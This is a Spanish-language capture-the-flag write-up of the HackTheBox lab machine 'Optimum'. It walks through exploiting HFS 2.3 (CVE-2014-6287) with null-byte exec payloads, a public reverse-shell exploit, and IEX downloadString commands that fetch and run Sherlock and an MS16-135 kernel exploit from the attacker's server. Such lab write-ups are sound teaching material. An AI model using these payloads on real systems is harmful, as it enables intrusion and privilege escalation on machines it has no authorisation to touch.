Máquina Windows nivel fácil. Evitamos los filtros que nos ponga HTTP File Server, transformamos (transformers (optimus prime (optimum (nombre bien pensado eh!)))) nuestra arquitectura y explotamos el siempre triste kernel.

TL;DR (Spanish writeup)

Creada por: ch4p (e l c r e a d o r).

Vamos a “transformer” nuestro destino.

Encontraremos un servidor web con el servicio HTTP File Server en su versión 2.3, jugaremos con eso para entender una vulnerabilidad y ejecutar comandos con ella en el sistema. Obtendremos una reverse Shell como el usuario kostas.

Nuestra terminal estará limitada a ejecutar procesos de 32 bits, moveremos fichas para generar una nueva, pero que nos permita ejecutar instrucciones de 64 bits, pero ¿para qué?…

Encontraremos varios caminos para escalar privilegios, usaremos uno que se aprovecha del kernel (MS16-135), peeeeeeeeero para su correcta ejecución necesitaremos estar en una arquitectura de 64 bits. E AY LHA RASON!

…

Clasificación de la máquina según la gentesita

Vulns conocidas peeeero le cuesta llegar a ser real :(

Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo mostrar lo que hice.

…

Eclipse eterno.

1. Reconocimiento.
   • Enumeración de puertos con nmap.
2. Enumeración.
   • Exploramos el servicio HFS sobre el puerto 80.
3. Explotación: jugamos con el servicio HFS.
   • Validamos ejecución remota de comandos usando CVE-2014-6287.
4. Escalada de privilegios.
   • Descubrimos la arquitectura real en la que corren nuestros scripts de PowerShell.
   • Explotamos el kernel y obtenemos sesión como nt authority\system.

…

Reconocimiento #

…

Enumeración de puertos con nmap 📌

Empezaremos viendo que puertos tiene abiertos externamente la máquina, esto nos sirve para empezar a direccionar nuestra investigación y posterior enumeración. Usaremos nmap:

❱ nmap -p- --open -v 10.10.10.8 -oG initScan

Ese escaneo nos muestra:

# Nmap 7.80 scan initiated Wed Aug 18 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.8
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.8 ()	Status: Up
Host: 10.10.10.8 ()	Ports: 80/open/tcp//http///	Ignored State: filtered (65534)
# Nmap done at Wed Aug 18 25:25:25 2021 -- 1 IP address (1 host up) scanned in 274.47 seconds

Ya que sabemos que solo el puerto 80 esta expuesto, vamos a ver que versión y scripts tienen relación con ese puerto, en este caso al ser un solo puerto no es necesario usar la función extractPorts que referenciamos antes, pero en caso de contar con muuuuuchos puertos esta muy bien usarla y no copiar uno a uno cada puerto.

❱ nmap -p 80 -sC -sV 10.10.10.8 -oN portScan

Y con este escaneo obtenemos:

# Nmap 7.80 scan initiated Wed Aug 18 25:25:25 2021 as: nmap -p 80 -sC -sV -oN portScan 10.10.10.8
Nmap scan report for 10.10.10.8
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 18 25:25:25 2021 -- 1 IP address (1 host up) scanned in 20.80 seconds

Tenemos algunas cositas relevantes:

• Servicio Http File Server en su versión 2.3.

Por ahora nada más (aunque ya con la versión es bastante e.e). Exploremos el servidor web a ver como romperlo.

…

Enumeración #

…

Puerto 80 📌

Como vimos existe un servicio llamado Http File Server montado en el puerto 80, pues validémoslo y en dado caso conozcamos de que se trata…

Un poco feita la interfaz 😁, pero vemos varias cositas, un link hacia un login, una barra de búsqueda (jmm) y de los demás botones el único llamativo es Get list en Actions, el cual nos redirecciona a:

http://10.10.10.8/?tpl=list&folders-filter=\&recursive

Y quizás podríamos jugar con ella… Veamos de que se trata HFS:

🌎 HFS (HTTP File Server) es un servidor web diseñado para publicar y compartir archivos.

Bien, sencillito.

Pues recordemos que tenemos una versión del software, vamos a la web y busquemos cositas relacionadas con esa versión, quizás hay vulnerabilidades conocidas…

…

Explotación #

Buscando llegamos a este CVE:

• cve.mitre.org - CVE-2014-6287.

Se trata de una ejecución remota de comandos -gracias- a una pobre sanitización llevada a cabo por expresiones regulares sobre el archivo ParserLib.pas. La explotación se logra mediante un null byte (%00), ya que bypassea el regex, detiene tooodo lo anterior a él y simplemente ejecuta lo que este después, o sea, nuestros comandos locochones…

⚪⚪⚪ Null bytes are put in place to terminate strings or be a place holder in code, and injecting these into URLs can cause web applications to not know when to terminate strings and manipulate the applications. whitehatsec.

Uff suena prometedor, investigando un poquito más llegamos es este recurso:

• Vulnerability analysis of HFS 2.3.

Un análisis de la vuln, esta bien detallado, échenle un ojo.

Validamos RCE explotando CVE-2014-6287 📌

Leyendo sobre la explotación, todo pasa en el apartado search (en nuestra enumeración anterior lo vimos).

Una consulta normal por ejemplo del texto hola, redireccionaría a:

http://10.10.10.8/?search=hola

Y veríamos esto:

Nada anormal…

En el caso de la explotación la consulta sería distinta, ya que se le agrega el null byte para bypassear el filtro regex yyyyyy simplemente agregaríamos el comando a ejecutar:

http://10.10.10.8/?search=hola%00{.exec|aca_el_comando_a_ejecutar.}

Por ejemplo:

http://10.10.10.8/?search=hola%00{.exec|whoami.}

En la respuesta veríamos:

Lo único distinto que vemos es un símbolo al lado de hola, pero no tenemos el reflejo del comando whoami 😔

Como una de las pruebas que debemos hacer seria intentar lanzarnos paquetes ICMP con ayuda del comando ping, si en nuestra máquina recibimos los paquetes entonces confirmamos que existe la ejecución remota de comandos solo que no se reflejan en la web. Pues pongámonos en escucha por la interfaz tun0 (donde se monta la VPN, en mi caso solo tengo la de HTB**, la confirman con ipconfig o ip a) y estemos atentos por si llegan paquetes ICMP (que son los que envía el comando ping):

❱ tcpdump -i tun0 icmp

Y ahora desde la web lanzamos:

http://10.10.10.8/?search=hola%00{.exec|ping%2010.10.14.2.}

Pero no recibimos nada, seguimos probando… Yyyy finalmente llegamos al resultado de este intento:

http://10.10.10.8/?search=hola%00{.exec|powershell.exe -c "ping 10.10.14.2".}

Cuando lo ejecutamos en la web no vemos nada reflejado (tampoco debería), peeeeeeeeeeero en nuestro analizador de tráfico:

Vemos los paquetes enviados por la dirección IP 10.10.10.8 (la máquina víctima) hacia nuestra máquina, así que existe la ejecución remota de comandos (: YYYYYYYYYYYYYy entendimos como funciona la vulnerabilidad.

…

Ahora que sabemos que los comandos se están ejecutando podemos aprovecharnos de un exploit público el cual lanza una reverse Shell generada con PowerShell, la encodea a base64 y como comandos que ejecutara el sistema le indica que decodee la cadena y la interprete. No debemos ponernos en escucha, ya que el mismo script lo hace: nc -nlvp el_puerto_que_le_indiquemos.

• HFS (HTTP File Server) 2.3.x - Remote Command Execution (3).

Lo descargamos y en su código cambiamos las variables lhost por nuestra dirección IP y lport por el puerto en el que queremos recibir la Shell. (El exploit fue creado para esta máquina, ya que trae por default que el servidor vulnerable esta sirviendo en la dirección IP 10.10.10.8)

Y ahora si lo ejecutamos:

❱ python3 hfsRCE.py

PEEEEEEEEEEEEEEEERFECTIIIIIIIIIIiii11isadifjoasdifjSIMOOOOOOOoo, tenemos una PowerShell en el sistema como el usuario kostas (:

…

Escalada de privilegios #

Después de estar en un laberinto suuuuuuuper largo finalmente conseguimos explotar esta vaina.

Enumerando el sistema vemos que podemos ejecutar systeminfo, aprovechemos las muuuuuuchas herramientas que existen para ver si el kernel o la versión del SO tiene alguna vulnerabilidad.

• Apoyados en esta guía de PrivEsc caemos en nuestro siguiente recurso.

El que nos muestra unos resultados sencillos y directos es Sherlock (que ya esta obsoleto, pero sigue funcionando), Sherlock es un script de PowerShell que busca vulnerabilidades relacionadas con “parches” del sistema.

Entonces, podemos ya sea, descargar el archivo, subirlo e importar su función principal llamada Find-AllVulns (si revisas el código la vez) oooooooo simplemente descargarlo, levantar un servidor web y desde la consola de PowerShell indicarle que cargue un módulo (el contenido) de x URL (nuestro script de Sherlock.ps1), hagamos esta última:

• https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1.

Levantamos servidor web donde esté el archivo:

❱ python3 -m http.server

Y ahora desde la PS indicamos:

IEX(New-Object Net.Webclient).downloadString('http://10.10.14.2:8000/Sherlock.ps1')

Ya el contenido del script estaría importado como un módulo en el sistema, nos quedaría llamarlo:

PS C:\\Users\kostas\Videos> Find-AllVulns

De los resultados que arroja detallamos estos:

Existen 3 vulnerabilidades que parecen afectar el sistema, pues empecemos a profundizar a ver…

Descubrimos arquitectura real en la que corren nuestros scripts de PowerShell (PS) 📌

Dejando algunos objetos de lado llegamos al boletín MS16-135, la explotación de esa vuln es dada gracias a un problema con el kernel que permite escalar privilegios sin importar que usuario seamos…

Les dejo estos dos recursos para que profundicen:

• Cómo explotar el bug de MS16-135 en Windows x64 con PowerShell & Metasploit “Like a Boss”.
• Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255.

Enfocados en ese boletín llegamos a esta prueba de concepto en PS:

• MS16-135.ps1.

Haremos lo mismo que con Sherlock, descargamos el recurso, levantamos servidor web e importamos su contenido. En este caso no tendremos que llamar ninguna función porque el código no esta en ninguna, por lo que una vez ejecutemos:

IEX(New-Object Net.Webclient).downloadString('http://10.10.14.2:8000/MS16-135.ps1')

Interpretara el código y lo ejecutara…

El output después de ejecutarlo es confuso:

Pero si validamos systeminfo tenemos:

PS C:\> systeminfo
...
System Type:               x64-based PC
...

WTF, debería funcionarnos el script, ya que SI estamos en una arquitectura x64… ¿O no?

Pues buscando info para validar esto encontramos este post:

• 4 Ways to Find OS Architecture using PowerShell (32 or 64 bit).

En la cuarta forma de validarlo quedamos anonadados 😲

Solo podemos obtener dos respuestas: 4 (44=32 (32 bits)) u 8 (88=64 (64 bits)).

Veamos:

PS C:\> [System.IntPtr]::Size
4

🙆‍♂️ kheeeeeeeeeeeeeeeeeeeeeee!!

HOY (un día): No he encontrado él -porque- de esto, seguiré investigando y dejaré un update :P
UPDATE (3 días después): Según 0xdf en su writeup: “That is because the HFS process is likely running as a 32-bit process”.

Intentando corroborar lo obtenido llegamos a este hilo en stackoverflow:

• check processor architecture and proceed with if statement.

Usando:

[System.Environment]::Is64BitProcess

Podemos validar si los procesos ejecutados están siendo tomados desde una arquitectura 64 bits:

PS C:\> [System.Environment]::Is64BitProcess
False

Y no, confirmamos que no estamos en una arquitectura de 64 bits sino en una de 32 bits…

Buscando maneras de cambiarnos a 64 bits llegamos a este nuevo hilo:

• How to launch 64-bit powershell from 32-bit cmd.exe?.

La que nos permite el cambio es ejecutar powershell desde la ruta nativa, esto para poder ejecutar código de 64 bits sobre una arquitectura de 32 bits.

Pues hagamos la fácil, modifiquemos el script con el que obtuvimos la reverse Shell y en vez de llamar powershell.exe sin ruta absoluta, agreguémosle la ruta nativa y validemos si conseguimos estar en 64 bits:

Ejecutamos yyyyyyyyyyyyyyyyyyyy:

LISTOOOOOOOOOOOOOOOOOOOOOOOONEEEEEEES, ahora sííííííí …… AHHHHHHHHHHHHHHHHHHHHHHHHHHLKfjsadklfjlñaksdlkjld e.e

Conseguimos Shell como nt authority\system 📌

Volvamos a ejecutar el contenido del script (ya no deberíamos ver ese error):

PS C:\> IEX(New-Object Net.Webclient).downloadString('http://10.10.14.2:8000/MS16-135.ps1'

¡DE MARAVILLA!! Ya funciona, pero parece que todo esta igual ¿no? e.e Puesssssssssssssss:

Tamos tamos tamoooooooooooooooooooooooooooos, hemos migrado al usuario nt authority\system y obtenido una terminal como él (:

Linda manera de escalar, me g u s t o.

Ya podríamos ver las flags:

…

Me gusto bastante la máquina, sobre todo la escalada, no me había topado con ese “problema” de estar en una arquitectura pero a la vez no, loco loco.

Este es el final de nuestro encuentro, pero nos leeremos con más cositas, bendiciones, besitos y como siempre, a seguir rompiendo tooooooooooooodo!!